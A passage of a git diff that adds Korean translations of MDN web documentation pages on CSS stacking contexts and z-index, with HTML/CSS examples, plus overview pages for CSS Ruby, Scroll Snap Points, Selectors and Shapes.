쌓임 맥락 예제2

+

굉장히 간단하지만 쌓임 맥락을 이해하는데 도움이 되는 예제를 하나 소개하려 한다. 이전 예제에서 본 4개의 DIV가 있다. 이번에는 두 레벨의 DIV 모두 z-index 속성 값을 지정했다. 

+

Stacking context example 2

+

z-index 속성 값이 2인 DIV #2는 z-index 속성 값이 1인 DIV #3 위에 있다. 왜냐하면 DIV #2와 DIV #3은 같은 쌓임 맥락(루트 엘리먼트)에 속하고 DIV #2의 z-index 값이 더 크기 때문이다. 

+

이상한 점은 z-index 속성 값이 2인 DIV #2가 z-index 속성 값이 10인 DIV #4보다 위에 있다는 점이다. 이것은 이 두 DIV가 같은 쌓임 맥락에 속해있지 않기 때문이다. DIV #4는 DIV #3이 만든 쌓임 맥락에 속해있고 DIV #3과 DIV #3의 모든 자식 엘리먼트는 DIV #2보다 아래에 있다. 

+

이 상황을 더 잘 이해하기 위해서 쌓임 맥락 계층을 그려보자. 

+
    +
  • 루트 엘리먼트 쌓임 맥락 +
      +
    • DIV #2 (z-index 2)
    • +
    • DIV #3 (z-index 1) +
        +
      • DIV #4 (z-index 10)
      • +
      +
    • +
    +
  • +
+
+ Note: 일반적인 HTML 계층 구조가 쌓임 맥락 계층 구조와 다르다는걸 상기하자. 쌓임 맥락을 만들지 않는 엘리먼트들은 쌓임 맥락 계층 구조에서 사라진다. 
+

예제 소스 코드

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+#div2 { z-index: 2; }
+#div3 { z-index: 1; }
+#div4 { z-index: 10; }
+
+#div1,#div3 {
+   height: 80px;
+   position: relative;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#div2 {
+   opacity: 0.8;
+   position: absolute;
+   width: 150px;
+   height: 200px;
+   top: 20px;
+   left: 170px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#div4 {
+   opacity: 0.8;
+   position: absolute;
+   width: 200px;
+   height: 70px;
+   top: 65px;
+   left: 50px;
+   border: 1px dashed #000099;
+   background-color: #ddddff;
+   text-align: left;
+   padding-left: 10px;
+}
+
+
+</style></head>
+
+<body>
+
+<br />
+
+<div id="div1">
+<br /><span class="bold">DIV #1</span>
+<br />position: relative;
+   <div id="div2">
+   <br /><span class="bold">DIV #2</span>
+   <br />position: absolute;
+   <br />z-index: 2;
+   </div>
+</div>
+
+<br />
+
+<div id="div3">
+<br /><span class="bold">DIV #3</span>
+<br />position: relative;
+<br />z-index: 1;
+   <div id="div4">
+   <br /><span class="bold">DIV #4</span>
+   <br />position: absolute;
+   <br />z-index: 10;
+   </div>
+</div>
+
+</body></html>
+
+

See also

+ +
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Exemple_d'empilement_2" } ) }}

diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html new file mode 100644 index 0000000000..d632745924 --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html @@ -0,0 +1,167 @@ +--- +title: 쌓임 맥락 예제3 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 +--- +

« CSS « CSS z-index 이해하기

+

쌓임 맥락 예제3

+

마지막 예제는 멀티 레벨 HTML 계층 구조에서 z-index 속성 값을 지정할때 생기는 문제에 대해 다룰 것이다. 

+

몇개의 position 속성 값이 지정된 3-레벨 계층 메뉴를 생각하자. 두번째 레벨과 세번째 레벨의 메뉴는 그들의 부모에 마우스를 갖다 대거나 클릭했을 때 보인다. 이 메뉴를 클래스 선택자를 통해 스타일링 해보자. 

+

만약 세 메뉴가 부분적으로 겹친다면 쌓임을 해결하는 것이 문제가 된다. 

+

Stacking context example 3

+

첫번째 레벨 메뉴는 position 속성 값만이 relative로 지정되어있다. 따라서 이는 쌓임 맥락을 형성하지 않는다. (역자: z-index 속성 값을 지정하지 않았다.) 

+

두번째 레벨 메뉴는 position 속성 값이 absolute로 지정되었다. 두번째 레벨 메뉴를 모든 첫번째 레벨 메뉴보다 위에 두기 위해서 z-index 속성 값이 사용되었다. 따라서 모든 두번째 레벨 메뉴에 쌓임 맥락이 생성되고 세번째 레벨 메뉴는 부모의 쌓임 맥락에 속하게 된다. 

+

따라서 세번째 레벨 메뉴는 그 부모의 다음 두번째 레벨 메뉴 아래에 놓이게 된다. 왜냐하면 모든 두번째 레벨 메뉴는 같은 z-index 속성 값을 가지고 기본 쌓임 규칙을 적용받기 때문이다. (역자: 같은 z-index 속성 값을 가지는 형제 엘리먼트들은 HTML 문서상에서 나중에 등장한 것이 위에 쌓인다.)

+

이 상황을 더 잘 이해하기 위해 쌓임 맥락 계층 구조를 그려보자.

+
    +
  • 뿌리 엘리먼트 쌓임 맥락 +
      +
    • LEVEL #1 +
        +
      • LEVEL #2 (z-index: 1) +
          +
        • LEVEL #3
        • +
        • ...
        • +
        • LEVEL #3
        • +
        +
      • +
      • LEVEL #2 (z-index: 1)
      • +
      • ...
      • +
      • LEVEL #2 (z-index: 1)
      • +
      +
    • +
    • LEVEL #1
    • +
    • ...
    • +
    • LEVEL #1
    • +
    +
  • +
+

이 문제를 해결하는 방법에는 1) 서로 다른 메뉴를 겹치지 않게 배치하기, 2) 클래스 선택자 뿐만 아니라 id 선택자를 이용하여 각각의 엘리먼트에 z-index 속성 값을 지정하기, 3) HTML 구조를 단순화하여 멀티 레벨 메뉴를 사용하지 않기 등이 있다. 

+
+ 노트: 소스 코드에는 두번째 레벨 메뉴와 세번째 레벨 메뉴들이 position 속성이 absolute로 지정된 컨테이너에 싸여있는 것을 볼 수 있다. 이는 여러개의 엘리먼트들의 위치를 한꺼번에 지정하는데 유용하다. 
+

예제 소스 코드

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+div.lev1 {
+   width: 250px;
+   height: 70px;
+   position: relative;
+   border: 2px outset #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#container1 {
+   z-index: 1;
+   position: absolute;
+   top: 30px;
+   left: 75px;
+}
+
+div.lev2 {
+   opacity: 0.9;
+   width: 200px;
+   height: 60px;
+   position: relative;
+   border: 2px outset #990000;
+   background-color: #ffdddd;
+   padding-left: 5px;
+}
+
+#container2 {
+   z-index: 1;
+   position: absolute;
+   top: 20px;
+   left: 110px;
+}
+
+div.lev3 {
+   z-index: 10;
+   width: 100px;
+   position: relative;
+   border: 2px outset #000099;
+   background-color: #ddddff;
+   padding-left: 5px;
+}
+
+</style></head>
+
+<body>
+
+<br />
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+
+   <div id="container1">
+
+      <div class="lev2">
+      <br /><span class="bold">LEVEL #2</span>
+      <br />z-index: 1;
+
+         <div id="container2">
+
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+
+         </div>
+
+      </div>
+
+      <div class="lev2">
+      <br /><span class="bold">LEVEL #2</span>
+      <br />z-index: 1;
+      </div>
+
+   </div>
+</div>
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+</div>
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+</div>
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+</div>
+
+</body></html>
+
+

See also

+ +

 

+
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Exemple_d'empilement_3" } ) }}

diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html new file mode 100644 index 0000000000..04e826dc17 --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html @@ -0,0 +1,145 @@ +--- +title: z-index가 없는 경우의 쌓임 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +--- +

« CSS « CSS z-index 이해하기

+

z-index가 없는 경우의 쌓임

+

만약 모든 엘리먼트들에 z-index가 지정되지 않았을 경우에는 엘리먼트들이 다음 순서로 아래에서부터 위로 쌓인다.

+
    +
  1. 뿌리 엘리먼트의 배경과 테두리
  2. +
  3. 자식 엘리먼트들은 HTML에서 등장하는 순서대로 
  4. +
  5. position이 지정된 자식 엘리먼트들은 HTML에서 등장하는 순서대로 
  6. +
+

다음 예제에는 위의 쌓임 규칙을 설명하기 위한 적당한 크기의 엘리먼트들이 준비되어있다. 

+
+

노트:

+
    +
  • 주어진 동일한 엘리먼트들의 그룹은 모두 z-index가 설정되지 않았다. DIV #1 부터 DIV #4 까지는 position 속성이 설정되었다. 엘리먼트의 position속성 값과는 상관 없이 HTML 계층 구조대로 쌓임을 알 수 있다. 
  • +
  • +

    position 속성이 지정되지 않은 블록(DIV #5)은 항상 position이 지정된 엘리먼트 이전에 렌더링 된다. 따라서 position이 지정된 엘리먼트 아래에 보인다. 설령 HTML 문서상에서 먼저 나오더라도 position이 지정되지 않은 엘리먼트는 지정된 엘리먼트보다 아래에 보인다. 

    +
  • +
+
+

understanding_zindex_01.png

+

 

+

예제

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div {
+   font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#normdiv {
+   height: 70px;
+   border: 1px dashed #999966;
+   background-color: #ffffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv1 {
+   opacity: 0.7;
+   height: 100px;
+   position: relative;
+   top: 30px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv2 {
+   opacity: 0.7;
+   height: 100px;
+   position: relative;
+   top: 15px;
+   left: 20px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#absdiv1 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   left: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#absdiv2 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   right: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+</style></head>
+
+<body>
+
+<br /><br />
+
+<div id="absdiv1">
+   <br /><span class="bold">DIV #1</span>
+   <br />position: absolute;
+</div>
+
+<div id="reldiv1">
+   <br /><span class="bold">DIV #2</span>
+   <br />position: relative;
+</div>
+
+<div id="reldiv2">
+   <br /><span class="bold">DIV #3</span>
+   <br />position: relative;
+</div>
+
+<div id="absdiv2">
+   <br /><span class="bold">DIV #4</span>
+   <br />position: absolute;
+</div>
+
+<div id="normdiv">
+   <br /><span class="bold">DIV #5</span>
+   <br />no positioning
+</div>
+
+</body></html>
+
+
+

See also

+ +

 

+
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Empilement_sans_z-index" } ) }}

diff --git a/files/ko/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html b/files/ko/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html new file mode 100644 index 0000000000..0e55368fa2 --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html @@ -0,0 +1,240 @@ +--- +title: 쌓임 맥락 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context +tags: + - Advanced + - CSS + - Guide + - Reference + - z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context +--- +
{{cssref}}
+ +

쌓임 맥락(stacking context)은 가상의 Z축을 사용한 HTML 요소의 3차원 개념화입니다. Z축은 사용자 기준이며, 사용자는 뷰포트 혹은 웹페이지를 바라보고 있을 것으로 가정합니다. 각각의 HTML 요소는 자신의 속성에 따른 우선순위를 사용해 3차원 공간을 차지합니다.

+ +

쌓임 맥락

+ +

이전 글 z-index 사용하기에서 보았듯, 특정 요소의 렌더링 순서는 자신의 z-index 속성 값에 영향을 받습니다. 이는 그 요소들이 가진 특별한 속성으로 인해 쌓임 맥락이 생성되기 때문입니다.

+ +

쌓임 맥락은, 문서 어디에서나, 다음 조건을 만족하는 요소가 생성합니다.

+ +
    +
  • 문서의 루트 요소. (<html>)
  • +
  • {{cssxref("position")}}이 absolute 또는 relative이고, {{cssxref("z-index")}}가 auto가 아닌 요소.
  • +
  • {{cssxref("position")}}이 fixed 또는 sticky인 요소. (sticky는 모든 모바일 브라우저에서는 해당하지만 구형 데스크톱 브라우저에서는 해당하지 않음)
  • +
  • 플렉스({{cssxref("flexbox")}}) 컨테이너의 자식 중 {{cssxref("z-index")}}가 auto가 아닌 요소.
  • +
  • 그리드({{cssxref("grid")}}) 컨테이너의 자식 중 {{cssxref("z-index")}}가 auto가 아닌 요소.
  • +
  • {{cssxref("opacity")}}가 1보다 작은 요소. (불투명도 명세 참고)
  • +
  • {{cssxref("mix-blend-mode")}}가 normal이 아닌 요소.
  • +
  • 다음 속성 중 하나라도 none이 아닌 값을 가진 요소. +
      +
    • {{cssxref("transform")}}
    • +
    • {{cssxref("filter")}}
    • +
    • {{cssxref("perspective")}}
    • +
    • {{cssxref("clip-path")}}
    • +
    • {{cssxref("mask")}} / {{cssxref("mask-image")}} / {{cssxref("mask-border")}}
    • +
    +
  • +
  • {{cssxref("isolation")}}이 isolate인 요소.
  • +
  • {{cssxref("-webkit-overflow-scrolling")}}이 touch인 요소.
  • +
  • {{cssxref("will-change")}}의 값으로, 초깃값이 아닐 때 새로운 쌓임 맥락을 생성하는 속성을 지정한 요소.
  • +
  • {{cssxref("contain")}}이 layout, paint, 또는 둘 중 하나를 포함하는 값(strict, content 등)인 요소.
  • +
+ +

쌓임 맥락 안의 자식 요소는 이전에 설명했던 규칙을 동일하게 사용해 쌓입니다. 중요한 것은, 자식의 z-index 값은 부모에게만 의미가 있다는 점입니다. 하나의 쌓임 맥락은 부모 쌓임 맥락 안에서 통째로 하나의 단위로 간주됩니다.

+ +

요약하면,

+ +
    +
  • 쌓임 맥락이 다른 쌓임 맥락을 포함할 수 있고, 함께 계층 구조를 이룹니다.
  • +
  • 쌓임 맥락은 형제 쌓임 맥락과 완전히 분리됩니다. 쌓임을 처리할 땐 자손 요소만 고려합니다.
  • +
  • 각각의 쌓임 맥락은 독립적입니다. 어느 요소의 콘텐츠를 쌓은 후에는 그 요소를 통째 부모 쌓임 맥락 안에 배치합니다.
  • +
+ +
참고: 모든 요소가 쌓임 맥락을 생성하는 건 아니므로, 쌓임 맥락의 계층 구조는 HTML 요소 계층 구조의 부분집합입니다. 자신의 쌓임 맥락을 만들지 않은 요소는 '부모 쌓임 맥락에 의해 동화된다'라고 표현할 수 있겠습니다.
+ +

예시

+ +

Example of stacking rules modified using z-index

+ +

위의 예시에서, 모든 요소는 각자의 포지션과 z-index로 인해 자신의 쌓임 맥락을 형성합니다. 쌓임 맥락의 계층 구조는 다음과 같습니다.

+ +
    +
  • 루트 +
      +
    • DIV #1
    • +
    • DIV #2
    • +
    • DIV #3 +
        +
      • DIV #4
      • +
      • DIV #5
      • +
      • DIV #6
      • +
      +
    • +
    +
  • +
+ +

DIV #4, DIV #5, DIV #6은 DIV #3의 자식이므로, DIV #3 내부에서만 셋의 쌓임을 처리했다는 것을 이해하는게 중요합니다. DIV #3 내부의 요소의 쌓기와 렌더링이 끝난 후에는, 전체 DIV #3을 루트 요소의 쌓임 맥락 하에서 형제 DIV와 쌓습니다.

+ +
+

참고:

+ +
    +
  • DIV #4는 DIV #1보다 z-index 속성 값이 더 크지만 DIV #1보다 아래에 렌더링 되었다. 왜냐하면 DIV #1의 z-index 속성 값인 5는 뿌리 엘리먼트의 쌓임 맥락 안에서 유효하나 DIV #4의 z-index 속성 값인 6은 DIV #3의 쌓임 맥락 안에서만 유효하기 때문이다. DIV #4는 자신이 속하는 DIV #3의 z-index 속성 값이 4이므로 DIV #1 아래에 쌓였다.
  • +
  • 같은 이유로 DIV #2는 DIV #5 아래에 렌더링 되었다. DIV #5는 DIV #2보다 z-index 값이 작지만 뿌리 엘리먼트의 쌓임 맥락안에서 유효한 DIV #5가 속한 DIV #3의 z-index 값이 DIV #2의 z-index 값 보다 더 크기 때문이다.
  • +
  • DIV #3의 z-index 속성 값인 4는 DIV #4, DIV #5, DIV #6의 z-index 속성값과 독립적이다. 왜냐하면 다른 쌓임 맥락에 속해있기 때문이다.
  • +
  • 렌더링 순서를 이해하는 쉬운 방법은 z-index를 "버전 번호" 처럼 생각하는 것이다. 자식 엘리먼트는 부모 엘리먼트 버전 번호의 마이너 버전이다. 이 방법은 왜 z-index가 1인 DIV #5가 z-index가 2인 DIV #2 위에 쌓였는지, z-index가 6인 DIV #4가 z-index가 5인 DIV #1 아래에 쌓였는지 이해하게 해준다. 우리 예제에서는 +
      +
    • 뿌리 엘리먼트 +
        +
      • DIV #2 - z-index가 2
      • +
      • DIV #3 - z-index가 4 +
          +
        • DIV #5 - z-index가 1인데 z-index가 4인 엘리먼트 아래에서 쌓였으므로 렌더링 순서는 4.1이다.
        • +
        • DIV #6 - z-index가 3인데 z-index가 4인 엘리먼트 아래에서 쌓였으므로 렌더링 순서는 4.3이다.
        • +
        • DIV #4 - z-index가 6인데 z-index가 4인 엘리먼트 아래에서 쌓였으므로 렌더링 순서는 4.6이다.
        • +
        +
      • +
      • DIV #1 - z-index가 5
      • +
      +
    • +
    +
  • +
+
+ +

예제

+ +

HTML

+ +
<div id="div1">
+  <h1>Division Element #1</h1>
+  <code>position: relative;<br/>
+  z-index: 5;</code>
+</div>
+
+<div id="div2">
+  <h1>Division Element #2</h1>
+  <code>position: relative;<br/>
+  z-index: 2;</code>
+</div>
+
+<div id="div3">
+  <div id="div4">
+    <h1>Division Element #4</h1>
+    <code>position: relative;<br/>
+    z-index: 6;</code>
+  </div>
+
+  <h1>Division Element #3</h1>
+  <code>position: absolute;<br/>
+  z-index: 4;</code>
+
+  <div id="div5">
+    <h1>Division Element #5</h1>
+    <code>position: relative;<br/>
+    z-index: 1;</code>
+  </div>
+
+  <div id="div6">
+    <h1>Division Element #6</h1>
+    <code>position: absolute;<br/>
+    z-index: 3;</code>
+  </div>
+</div>
+ +

CSS

+ +
* {
+  margin: 0;
+}
+html {
+  padding: 20px;
+  font: 12px/20px Arial, sans-serif;
+}
+div {
+  opacity: 0.7;
+  position: relative;
+}
+h1 {
+  font: inherit;
+  font-weight: bold;
+}
+#div1,
+#div2 {
+  border: 1px dashed #696;
+  padding: 10px;
+  background-color: #cfc;
+}
+#div1 {
+  z-index: 5;
+  margin-bottom: 190px;
+}
+#div2 {
+  z-index: 2;
+}
+#div3 {
+  z-index: 4;
+  opacity: 1;
+  position: absolute;
+  top: 40px;
+  left: 180px;
+  width: 330px;
+  border: 1px dashed #900;
+  background-color: #fdd;
+  padding: 40px 20px 20px;
+}
+#div4,
+#div5 {
+  border: 1px dashed #996;
+  background-color: #ffc;
+}
+#div4 {
+  z-index: 6;
+  margin-bottom: 15px;
+  padding: 25px 10px 5px;
+}
+#div5 {
+  z-index: 1;
+  margin-top: 15px;
+  padding: 5px 10px;
+}
+#div6 {
+  z-index: 3;
+  position: absolute;
+  top: 20px;
+  left: 180px;
+  width: 150px;
+  height: 125px;
+  border: 1px dashed #009;
+  padding-top: 125px;
+  background-color: #ddf;
+  text-align: center;
+}
+ +

결과

+ +

{{ EmbedLiveSample('예제', '100%', '396') }}

+ +

같이 보기

+ + + +
+

Original Document Information

+ + +
diff --git a/files/ko/web/css/css_ruby/index.html b/files/ko/web/css/css_ruby/index.html new file mode 100644 index 0000000000..e7266af671 --- /dev/null +++ b/files/ko/web/css/css_ruby/index.html @@ -0,0 +1,45 @@ +--- +title: CSS Ruby +slug: Web/CSS/CSS_Ruby +tags: + - CSS + - CSS Ruby + - Overview + - Reference +translation_of: Web/CSS/CSS_Ruby +--- +
{{CSSRef}}
+ +

CSS Ruby는 행간 주석의 형태로 기본 텍스트와 함께 작게 실행되는 텍스트인 ruby 주석 표시와 관련된 렌더링 모델 및 서식 컨트롤을 제공하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("ruby-align")}}
  • +
  • {{cssxref("ruby-position")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Ruby')}}{{Spec2('CSS3 Ruby')}}초기 정의
+ +
 
diff --git a/files/ko/web/css/css_scroll_snap_points/index.html b/files/ko/web/css/css_scroll_snap_points/index.html new file mode 100644 index 0000000000..1603df3f02 --- /dev/null +++ b/files/ko/web/css/css_scroll_snap_points/index.html @@ -0,0 +1,50 @@ +--- +title: CSS Scroll Snap Points +slug: Web/CSS/CSS_Scroll_Snap_Points +tags: + - CSS + - CSS Scroll Snap + - Overview + - Reference +translation_of: Web/CSS/CSS_Scroll_Snap_Points +--- +

{{CSSRef}}{{deprecated_header}}

+ +

CSS Scroll Snap Points는 물리보다는 논리상 방향과 차원 맵핑을 통해 레이아웃을 제어하는 능력을 제공하는 속성 및 값을 정의하는 CSS 모듈입니다.

+ +
+

참고: 같은 기능을 정의하는 최신 명세는 CSS Scroll Snap입니다.

+
+ +

참고

+ +

CSS 속성

+ +
+
    +
  • {{cssxref("scroll-snap-coordinate")}}
  • +
  • {{cssxref("scroll-snap-destination")}}
  • +
  • {{cssxref("scroll-snap-points-x")}}
  • +
  • {{cssxref("scroll-snap-points-y")}}
  • +
  • {{cssxref("scroll-snap-type")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-snap-points-y", "scroll-snap-points-y")}}{{Spec2("CSS Scroll Snap Points")}}초기 정의
diff --git a/files/ko/web/css/css_selectors/index.html b/files/ko/web/css/css_selectors/index.html new file mode 100644 index 0000000000..eb5af87d66 --- /dev/null +++ b/files/ko/web/css/css_selectors/index.html @@ -0,0 +1,133 @@ +--- +title: CSS 선택자 +slug: Web/CSS/CSS_Selectors +tags: + - CSS + - Guide + - Overview + - Reference + - Selectors + - 선택자 +translation_of: Web/CSS/CSS_Selectors +--- +
{{CSSRef("Selectors")}}
+ +

CSS 선택자는 CSS 규칙을 적용할 요소를 정의합니다.

+ +
+

참고: 부모, 부모의 형제, 부모 형제의 자식을 선택할 수 있는 선택자는 존재하지 않습니다.

+
+ +

기본 선택자

+ +
+
전체 선택자
+
모든 요소를 선택합니다. 추가로 네임스페이스 제한을 둘 수 있습니다.
+ 구문: * ns|* *|*
+ 예제: *은 문서 내의 모든 요소와 일치합니다.
+
유형 선택자
+
주어진 노드 이름을 가진 모든 요소를 선택합니다.
+ 구문: elementname
+ 예제: input은 모든 {{HTMLElement("input")}} 요소와 일치합니다.
+
클래스 선택자
+
주어진 class 특성을 가진 모든 요소를 선택합니다.
+ 구문: .classname
+ 예제: .index는 "index" 클래스를 가진 모든 요소와 일치합니다.
+
ID 선택자
+
id 특성에 따라 요소를 선택합니다. 문서 내에는 주어진 ID를 가진 요소가 하나만 존재해야 합니다.
+ 구문: #idname
+ 예제: #toc는 "toc" ID를 가진 요소와 일치합니다.
+
특성 선택자
+
주어진 특성을 가진 모든 요소를 선택합니다.
+ 구문: [attr] [attr=value] [attr~=value] [attr|=value] [attr^=value] [attr$=value] [attr*=value]
+ 예제: [autoplay]autoplay 특성을 설정한 모든 요소와 일치합니다. 특성의 값은 고려하지 않습니다.
+
+ +

그룹 선택자

+ +
+
선택자 목록
+
,는 선택자 그룹을 생성하는 방법으로, 모든 일치하는 노드를 선택합니다.
+ 구문: A, B
+ 예제: div, span은 모든 {{HTMLElement("span")}}과 {{HTMLElement("div")}} 요소와 일치합니다.
+
+ +

결합자

+ +
+
자손 결합자
+
  (공백) 결합자는 첫 번째 요소의 자손인 노드를 선택합니다.
+ 구문: A B
+ 예제: div span은 {{HTMLElement("div")}} 요소 안에 위치하는 모든 {{HTMLElement("span")}} 요소와 일치합니다.
+
자식 결합자
+
> 결합자는 첫 번째 요소의 바로 아래 자식인 노드를 선택합니다.
+ 구문: A > B
+ 예제: ul > li는 {{HTMLElement("ul")}} 요소 바로 아래에 위치하는 모든 {{HTMLElement("li")}} 요소와 일치합니다.
+
일반 형제 결합자
+
~ 결합자는 형제, 즉 첫 번째 요소를 뒤따르면서 같은 부모를 공유하는 두 번째 요소를 선택합니다.
+ 구문: A ~ B
+ 예제: p ~ span은 {{HTMLElement("p")}} 요소를 뒤따르는 모든 {{HTMLElement("span")}} 요소와 일치합니다.
+
인접 형제 결합자
+
+ 결합자는 인접 형제, 즉 첫 번째 요소의 바로 뒤에 위치하면서 같은 부모를 공유하는 두 번째 요소를 선택합니다.
+ 구문: A + B
+ 예제: h2 + p는 {{HTMLElement("h2")}} 바로 뒤에 위치하는 {{HTMLElement("p")}} 요소와 일치합니다.
+
열 결합자 {{Experimental_Inline}}
+
|| 결합자는 같은 열에 속하는 노드를 선택합니다.
+ 구문: A || B
+ 예제: col || td는 {{HTMLElement("col")}}의 범위에 속하는 모든 {{HTMLElement("td")}} 요소와 일치합니다.
+
+ +

의사 클래스/요소

+ +
+
의사 클래스
+
의사 :은 문서 트리가 포함하지 않는 상태 정보에 기반해 요소를 선택할 수 있습니다.
+ 예제: a:visited는 사용자가 방문한 모든 {{HTMLElement("a")}} 요소와 일치합니다.
+
의사 요소
+
의사 ::는 HTML이 포함하지 않는 개체를 선택합니다.
+ 예제: p::first-line은 모든 {{HTMLElement("p")}} 요소의 첫 번째 줄과 일치합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors")}}{{Spec2("CSS4 Selectors")}}Added the || column combinator, grid structural selectors, logical combinators, location, time-demensional, resource state, linguistic and UI pseudo-classes, modifier for ASCII case-sensitive and case-insensitive attribute value selection.
{{SpecName("CSS3 Selectors")}}{{Spec2("CSS3 Selectors")}}Added the ~ general sibling combinator and tree-structural pseudo-classes.
+ Made pseudo-elements use a :: double-colon prefix. Additional attribute selectors
{{SpecName("CSS2.1", "selector.html")}}{{Spec2("CSS2.1")}}Added the > child and + adjacent sibling combinators.
+ Added the universal and attribute selectors.
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Initial definition.
+ +

의사 클래스의사 요소의 명세 표에서 각각의 상세 정보를 볼 수 있습니다.

+ +

같이 보기

+ + diff --git a/files/ko/web/css/css_shapes/index.html b/files/ko/web/css/css_shapes/index.html new file mode 100644 index 0000000000..f814002c56 --- /dev/null +++ b/files/ko/web/css/css_shapes/index.html @@ -0,0 +1,80 @@ +--- +title: CSS Shapes +slug: Web/CSS/CSS_Shapes +tags: + - CSS + - CSS Shapes + - Overview + - Reference +translation_of: Web/CSS/CSS_Shapes +--- +
{{CSSRef}}
+ +

CSS Shapes는 CSS에서 사용하기 위한 기하학적 도형을 설명한다. 레벌1 명세에 의하면 떠있는 요소에 CSS Shapes를 적용할 수 있다. 명세의 정의에 의하면 떠있는 요소의 모양을 정의 하거나  요소 상자의 사각형을 따르는 대신 테두리 선을 따라 감싸지도록 하는 방법 등  다양한 방법을 정의하고 있다. 

+ +

기본 예제

+ +

아래 예제는 왼쪽에 떠있는 이미지에 shape-outside속성에 circle(50%) 값이 적용된 모습을 볼수 있다. 이런식으로 원모양을 만들면 도옇의 둘래를 따라 주변 텍스트가 흘러내리는것을 볼수 있다. 둘러싼 텍스트가 도형의 모양을 따라 길이가 변하게 되었다. 

+ +

{{EmbedGHLiveSample("css-examples/shapes/overview/circle.html", '100%', 720)}}

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("shape-outside")}}
  • +
  • {{cssxref("shape-margin")}}
  • +
  • {{cssxref("shape-image-threshold")}}
  • +
+
+ +

자료형

+ +
+
    +
  • {{cssxref("<basic-shape>")}}
  • +
+
+ +

안내서

+ + + +

외부 자료

+ + + +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS Shapes")}}{{Spec2("CSS Shapes")}}초기 정의
diff --git a/files/ko/web/css/css_table/index.html b/files/ko/web/css/css_table/index.html new file mode 100644 index 0000000000..ad712ec39e --- /dev/null +++ b/files/ko/web/css/css_table/index.html @@ -0,0 +1,48 @@ +--- +title: CSS Table +slug: Web/CSS/CSS_Table +tags: + - CSS + - CSS Table + - Guide + - Overview + - Reference +translation_of: Web/CSS/CSS_Table +--- +
